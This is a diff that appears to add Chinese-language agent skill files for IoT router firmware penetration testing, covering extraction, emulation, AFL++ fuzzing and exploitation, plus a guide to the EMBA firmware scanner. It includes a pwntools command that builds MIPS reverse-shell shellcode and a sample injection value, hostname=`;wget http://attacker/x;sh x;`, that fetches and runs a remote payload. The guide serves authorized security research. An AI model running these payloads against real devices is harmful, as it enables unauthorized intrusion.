+ qemu-mipsel-static -g 1234 ./vuln_binary
170
+ gdb-multiarch ./vuln_binary -ex "target remote :1234"
171
+
172
+ # Burp + 路由 Web UI
173
+ echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
174
+ ```
175
+
176
+ ### Stage 8 — 运行时分析(Runtime Analysis)
177
+
178
+ 在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。
179
+
180
+ ```bash
181
+ # AFL++ qemu mode 对 ARM / MIPS binary fuzz
182
+ AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
183
+ ```
184
+
185
+ ### Stage 9 — 二进制利用(Exploitation)
186
+
187
+ 写 PoC,生成 payload,落地 root shell。
188
+
189
+ ```bash
190
+ # pwntools 生成 MIPS reverse shell
191
+ python3 -c "
192
+ from pwn import *
193
+ context.arch = 'mips'
194
+ context.endian = 'little'
195
+ print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
196
+ " | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
197
+
198
+ # ROP gadget
199
+ ropper --file squashfs-root/usr/sbin/httpd --search "system"
200
+ ```
201
+
202
+ ## 典型场景示例
203
+
204
+ ### 场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)
205
+
206
+ ```text
207
+ 固件: router_v1.2.3.bin(未加密 squashfs)
208
+ 目标: 找 Web 管理界面未授权 RCE 并复现
209
+
210
+ Step 1 信息收集
211
+ - FCC ID 反查 → MT7621 + MT7615 + 16MB flash
212
+ - 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)
213
+
214
+ Step 2 获取固件
215
+ - 官网下载 .bin,sha256 与已知样本对比
216
+
217
+ Step 3 分析
218
+ - binwalk → 检出 uImage + squashfs-xz
219
+ - 熵图 → squashfs 段熵 ~0.95(正常压缩)
220
+
221
+ Step 4 提取
222
+ - binwalk -eM router_v1.2.3.bin
223
+ - 得到 squashfs-root/ 完整根文件系统
224
+
225
+ Step 5 EMBA 扫
226
+ - 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
227
+ - 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串
228
+
229
+ Step 6 仿真
230
+ - sudo fat.py router_v1.2.3.bin
231
+ - 仿真起来 IP 192.168.0.1,Web 可访问
232
+
233
+ Step 7-8 动态
234
+ - Burp 抓 /cgi-bin/luci 系列接口
235
+ - 发现 hostname 参数直拼 system
236
+
237
+ Step 9 利用
238
+ - 构造 hostname=`;wget http://attacker/x;sh x;`
239
+ - 仿真态成功反弹 shell
240
+ - 真机复测通过 → 提报 SRC
241
+ ```
242
+
243
+ ### 场景 2:加密固件(找 bootloader 解密例程)
244
+
245
+ ```text
246
+ 固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
247
+
248
+ Step 1 判断是否真加密
249
+ - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
250
+ - 头部前 256 字节 hexdump → 看是否有 vendor header
251
+
252
+ Step 2 拿到 bootloader
253
+ - UART 启动时按键进 U-Boot
254
+ - md.b 0x80000000 0x1000 # 读内存
255
+ - 或 SPI flash 物理读取整片 → 含 U-Boot 段
256
+
257
+ Step 3 逆 U-Boot 找解密例程
258
+ - 用 reverse-engineering skill(IDA / Ghidra)
259
+ - 入口 board_init_r → 找 do_bootm 前的 image_decrypt
260
+ - 通常是 AES-128-CBC,key 硬编在 .rodata
261
+
262
+ Step 4 离线解密
263
+ openssl enc -d -aes-128-cbc \
264
+ -K $(cat key.hex) \
265
+ -iv $(cat iv.hex) \
266
+ -in encrypted_fw.bin \
267
+ -out decrypted.bin
268
+
269
+ Step 5 回到 Stage 4 重新走标准流程
270
+ - binwalk decrypted.bin → 看到 squashfs
271
+ - 后续与场景 1 相同
272
+
273
+ 兜底
274
+ - bootloader 也加密 → 找 SoC 一级 ROM 文档
275
+ - SoC 有安全启动 → 看公开 fault injection / glitch 资料
276
+ ```
277
+
278
+ ## 注意事项
279
+
280
+ - **大小端**:MIPS 路由器常见 mipsel(小端,MT 系列)/ mipseb(大端,Broadcom 系列),qemu binary 别用错
281
+ - **NVRAM**:仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值,Firmadyne 有 libnvram hook,FAT 默认带
282
+ - **EMBA 不是银弹**:跑出来一堆 CVE 别全信,要核对版本字符串和实际利用条件
283
+ - **AFL++ qemu mode 慢**:先用 afl-clang-lto 重编译目标(如果有源码),快 5-10 倍
284
+ - **真机操作前先 dump**:物理设备砖前必备整片 flash dump,用 flashrom / ch341a / minipro
285
+ - **法律边界**:自家设备、SRC 授权、CTF、公开靶机才能搞,企业生产设备需要书面授权
286
+ - **field-journal 回写**:每完成一个固件,记录芯片型号、SDK、binwalk 是否成功、仿真是否成功,下次同系列直接复用
287
+
288
+ ---
289
+
290
+ ## 按需自举(On-Demand Bootstrap)
291
+
292
+ ### 工具清单
293
+
294
+ | 工具 | 用途 | 自动安装 |
295
+ |------|------|---------|
296
+ | binwalk v3 | 主提取(Rust 重写版) | ✓ |
297
+ | binwalk v2 | 兼容老插件 | ✓ |
298
+ | unblob | 兜底提取 | ✓ |
299
+ | jefferson | JFFS2 提取 | ✓ |
300
+ | ubi_reader | UBI / UBIFS 提取 | ✓ |
301
+ | EMBA | 自动化分析框架 | ✓ |
302
+ | Firmadyne | 全系统仿真 | ✓ |
303
+ | FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |
304
+ | qemu-user-static | 用户态仿真 | ✓ |
305
+ | qemu-system-* | 全系统仿真 | ✓ |
306
+ | AFL++ | 模糊测试 | ✓ |
307
+ | pwntools | 漏洞利用脚本 | ✓ |
308
+ | flashrom | SPI flash 读写 | ✓ |
309
+ | picocom | UART 串口 | ✓ |
310
+
311
+ ### 安装命令
312
+
313
+ ```bash
314
+ # Debian / Ubuntu 一把梭
315
+ sudo apt update && sudo apt install -y \
316
+ binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
317
+ gdb-multiarch picocom flashrom build-essential libssl-dev
318
+
319
+ # binwalk v3(Rust 版)
320
+ cargo install binwalk
321
+
322
+ # Python 系列工具
323
+ pip3 install --user unblob jefferson ubi_reader pwntools
324
+
325
+ # EMBA
326
+ git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
327
+ cd ~/tools/emba && sudo ./installer.sh -d
328
+
329
+ # Firmadyne
330
+ git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
331
+ cd ~/tools/firmadyne && sudo ./download.sh
332
+
333
+ # FAT
334
+ git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
335
+
336
+ # AFL++
337
+ git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
338
+ cd ~/tools/aflpp && make distrib && sudo make install
339
+ ```
340
+
341
+ ### Windows 用户
342
+
343
+ 固件渗透链强依赖 Linux 工具,建议:
344
+ - WSL2 Ubuntu 22.04(足够大多数场景)
345
+ - 或独立 Kali / Ubuntu 虚拟机
346
+ - EMBA 必须 Linux,Firmadyne / FAT 必须 Linux
347
+
348
+ ---
349
+
350
+ ## 路由上下文
351
+
352
+ **上游入口**: `skills/SKILL.md`(总控)、`routing.md`
353
+ **触发条件**: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计
354
+ **下游出口**:
355
+ - 单个二进制深度静态分析 → `reverse-engineering/`、`ida-reverse/`、`radare2/`
356
+ - 仿真起来后做 Web RCE / 后渗透 → `pentest-tools/`、`attack-chain/`
357
+ - 跨版本固件符号迁移 → `binary-diff/`
358
+ - 硬件接口实操参考 → `patterns-hardware.md`
359
+ - APK / boot.img 处理 → `apk-reverse/`
360
+
361
+ **同级关联**: `pentest-tools/`(Web 利用阶段配合)、`attack-chain/`(跨阶段攻击链规划)
362
+
363
+ **参考文档**:
364
+ - `references/extraction-methodology.md` — 提取细节与失败兜底
365
+ - `references/emba-automated-analysis.md` — EMBA 全流程
366
+ - `references/emulation-and-fuzz.md` — 仿真 + fuzz 实战
367
+
368
+
369
+ ## 任务完成自检(声称完成前 MUST 通过)
370
+
371
+ - [ ] 我是否执行了工作流中的每一步(而不是只阅读)?
372
+ - [ ] 我是否基于 `tool-index` 使用了真实工具路径?
373
+ - [ ] 我是否产出了可复现证据(命令/脚本/截图/报告)?
374
+ - [ ] 我是否完成并回写了 RULES 要求的 Checklist 项?
375
+
376
+ ## Limitations
377
+
378
+ - Emulation of proprietary kernels often fails; hardware debugging may be required.
379
+ - Some extraction paths need physical access (UART/JTAG/SPI).
380
+
381
+ > Adapted from [zhaoxuya520/reverse-skill](https://github.com/zhaoxuya520/reverse-skill) (MIT).
@@ -0,0 +1,192 @@
1
+ # EMBA 自动化分析
2
+
3
+ 参考:https://github.com/e-m-b-a/emba
4
+
5
+ EMBA = Embedded Analyzer。开源固件自动化审计框架,一行命令跑完静态扫描 + 仿真 + CVE 比对 + 报告生成。
6
+
7
+ ## 它能做什么
8
+
9
+ | 阶段 | 模块前缀 | 干的事 |
10
+ |------|---------|--------|
11
+ | 预检 | P-modules | 识别格式、提取、归类 |
12
+ | 静态分析 | S-modules | 二进制 checksec、字符串、敏感配置、硬编码凭据 |
13
+ | QEMU 仿真 | Q-modules | 用户态仿真 + 服务探测 |
14
+ | Live 动态 | L-modules | 跑起来后实时检查(网络服务、暴露接口) |
15
+ | 收尾 | F-modules | 聚合结果 |
16
+ | 报告 | R-modules | HTML / SBOM / JSON / CSV |
17
+
18
+ ## 安装
19
+
20
+ ```bash
21
+ # 系统要求:Ubuntu 22.04 / Debian 12 / Kali(必须 Linux)
22
+ git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
23
+ cd ~/tools/emba
24
+
25
+ # 一键安装(会装 Docker、qemu、各类 scanner、CVE 数据库)
26
+ sudo ./installer.sh -d
27
+
28
+ # 验证
29
+ sudo ./emba --help
30
+ ```
31
+
32
+ ## 一行命令跑全套
33
+
34
+ ```bash
35
+ sudo ./emba \
36
+ -l ./logs/router_v1.2.3 \
37
+ -f ./firmware/router_v1.2.3.bin \
38
+ -p ./scan-profiles/default-scan.emba
39
+ ```
40
+
41
+ 参数:
42
+
43
+ | 参数 | 含义 |
44
+ |------|------|
45
+ | `-l` | log 输出目录 |
46
+ | `-f` | 固件文件路径 |
47
+ | `-p` | 扫描 profile |
48
+ | `-t` | threaded 模式(多核加速) |
49
+ | `-Q` | 启用 QEMU 仿真分析 |
50
+ | `-W` | 生成 web 报告 |
51
+ | `-g` | 生成 grep-able log |
52
+ | `-D` | 在 Docker 内运行(推荐,环境隔离) |
53
+
54
+ ### 推荐组合
55
+
56
+ ```bash
57
+ # 深度 + Docker + Web 报告
58
+ sudo ./emba -D -l ./logs/x -f ./firmware.bin \
59
+ -p ./scan-profiles/default-scan.emba -t -Q -W
60
+
61
+ # 快速预扫(看看值不值得深挖)
62
+ sudo ./emba -D -l ./logs/x -f ./firmware.bin \
63
+ -p ./scan-profiles/quick-scan.emba
64
+
65
+ # 离线模式(无网络环境)
66
+ sudo ./emba -D -l ./logs/x -f ./firmware.bin \
67
+ -p ./scan-profiles/default-scan-no-notify.emba
68
+ ```
69
+
70
+ ### scan-profiles 选哪个
71
+
72
+ | profile | 用途 |
73
+ |---------|------|
74
+ | `default-scan.emba` | 标准全套 |
75
+ | `quick-scan.emba` | 快速预扫,跳过 QEMU |
76
+ | `default-scan-no-notify.emba` | 无网络环境,离线 CVE 库 |
77
+ | `default-scan-emulation.emba` | 加强仿真分析 |
78
+ | `default-with-tools.emba` | 启用更多外部 scanner |
79
+
80
+ ## 集成的子工具
81
+
82
+ EMBA 内置 / 调度的扫描器:
83
+
84
+ | 工具 | 干什么 |
85
+ |------|--------|
86
+ | cve-bin-tool | 已知 CVE 比对(基于 NVD 数据库) |
87
+ | Semgrep | 源码 / 脚本静态规则扫描 |
88
+ | bandit | Python 源码安全扫描 |
89
+ | checksec | ELF 安全特性(NX / RELRO / PIE / Canary) |
90
+ | Trivy | SBOM 生成 + 漏洞匹配 |
91
+ | linter (shellcheck / yara) | 配置和脚本静态检查 |
92
+ | pixd | 二进制可视化(熵图) |
93
+ | binwalk + unblob | 提取后端 |
94
+ | EMBA 自家规则 | 硬编码密码、私钥、危险函数调用 |
95
+
96
+ ## 输出报告解读
97
+
98
+ 跑完后看 `./logs/router_v1.2.3/`:
99
+
100
+ ```text
101
+ logs/router_v1.2.3/
102
+ ├── html-report/
103
+ │ └── index.html ← 主入口,浏览器打开
104
+ ├── csv_logs/ ← grep / awk 用
105
+ ├── json_logs/ ← 程序化处理用
106
+ ├── s05_firmware_details.txt ← 固件基本信息
107
+ ├── s09_firmware_base_version_check.txt ← 版本检测
108
+ ├── s12_binary_protection.txt ← checksec 汇总
109
+ ├── s20_shell_check.txt ← shell 脚本问题
110
+ ├── s24_kernel_bin_identifier.txt
111
+ ├── s40_weak_perm_check.txt ← 权限问题
112
+ ├── s108_stacs_password_search.txt ← 密码 / 密钥泄漏
113
+ ├── s109_jtr_local_pw_cracking.txt ← shadow 破解结果
114
+ ├── s115_usermode_emulator.txt ← 用户态仿真结果
115
+ ├── q02_openssl_bin_version_check.txt
116
+ ├── l10_system_emulator.txt ← 全系统仿真状态
117
+ ├── l15_emulated_checks_init.txt
118
+ └── f50_base_aggregator.txt ← 总聚合
119
+ ```
120
+
121
+ ### HTML 报告重点字段
122
+
123
+ 打开 `html-report/index.html`,关注:
124
+
125
+ 1. **Summary 块** — 风险评级(CRITICAL / HIGH / MEDIUM)+ CVE 数量
126
+ 2. **Firmware details (S05)** — 内核版本、busybox 版本、SDK 厂商
127
+ 3. **Version detection (S09)** — 所有识别出的二进制 + 版本,对比 CVE
128
+ 4. **Binary protection (S12)** — 哪些二进制没开 NX / RELRO(fuzz / 利用容易)
129
+ 5. **Password / Secrets (S108)** — 硬编码凭据直接看
130
+ 6. **System emulation (L10)** — 仿真是否成功 + 跑起来的服务
131
+ 7. **Aggregator (F50)** — 一页总结,先看这个
132
+
133
+ ### CVE 比对优先级
134
+
135
+ 报告里一堆 CVE 别全信,按这个顺序复核:
136
+
137
+ ```text
138
+ 1. CVE 评分 ≥ 7.5 + 影响网络服务(lighttpd / dropbear / 内置 httpd)
139
+ 2. CVE 有公开 PoC(Exploit-DB / GitHub)
140
+ 3. 二进制确实存在该版本(version string 命中)
141
+ 4. 暴露在监听端口上(结合 L10 仿真结果看 netstat)
142
+ 5. 不需要认证或认证容易绕(结合源码 / 反汇编看)
143
+ ```
144
+
145
+ ## 何时用 EMBA,何时手工
146
+
147
+ | 场景 | 用 EMBA | 手工分析 |
148
+ |------|---------|---------|
149
+ | 第一次接触某固件 | ✓ | |
150
+ | 大批量固件审计(>5 个) | ✓ | |
151
+ | 寻找已公开 CVE | ✓ | |
152
+ | 找 0day | 辅助 | ✓ 主力 |
153
+ | 加密 / 私有格式 | ✗(提不出来) | ✓ |
154
+ | 单个二进制深度逆向 | ✗ | ✓(用 IDA / Ghidra) |
155
+ | 协议 / 业务逻辑漏洞 | ✗ | ✓ |
156
+
157
+ EMBA 的强项是把 80% 的体力活包了,让你专注剩下 20% 真正需要脑子的部分。
158
+
159
+ ## 二次开发 / 自定义规则
160
+
161
+ EMBA 模块化设计,可以塞自家规则:
162
+
163
+ ```bash
164
+ # 自定义 yara 规则
165
+ cp my_rule.yar ~/tools/emba/external/yara/
166
+
167
+ # 自定义 Semgrep 规则
168
+ cp my_rule.yaml ~/tools/emba/config/semgrep_rules/
169
+
170
+ # 调整 CVE 严重性阈值
171
+ vim ~/tools/emba/config/emba_emulator_db.cfg
172
+ ```
173
+
174
+ 模块加载顺序在 `~/tools/emba/modules/` 下,文件名前缀决定执行阶段。
175
+
176
+ ## 常见坑
177
+
178
+ ```text
179
+ 1. installer.sh 卡住 → 网络问题,开代理或换镜像源
180
+ 2. CVE 数据库过期 → ./emba_db_update.sh 强制刷新
181
+ 3. QEMU 仿真失败 → 改用 default-scan-emulation.emba profile
182
+ 4. Docker 模式磁盘爆 → 清理 /var/lib/docker/overlay2
183
+ 5. 报告里 CVE 全是 N/A → cve-bin-tool 数据库没下载完,重跑 installer
184
+ 6. 内存不足 → 32GB+ 推荐,大固件 64GB
185
+ 7. 在 WSL2 里跑 → 关 systemd-resolved,启用 cgroup v2
186
+ ```
187
+
188
+ ## 配套阅读
189
+
190
+ - EMBA paper / 用户手册:https://github.com/e-m-b-a/emba/blob/master/README.md
191
+ - 在线 demo 报告:https://e-m-b-a.github.io/emba/
192
+ - 自定义模块开发:https://github.com/e-m-b-a/emba/wiki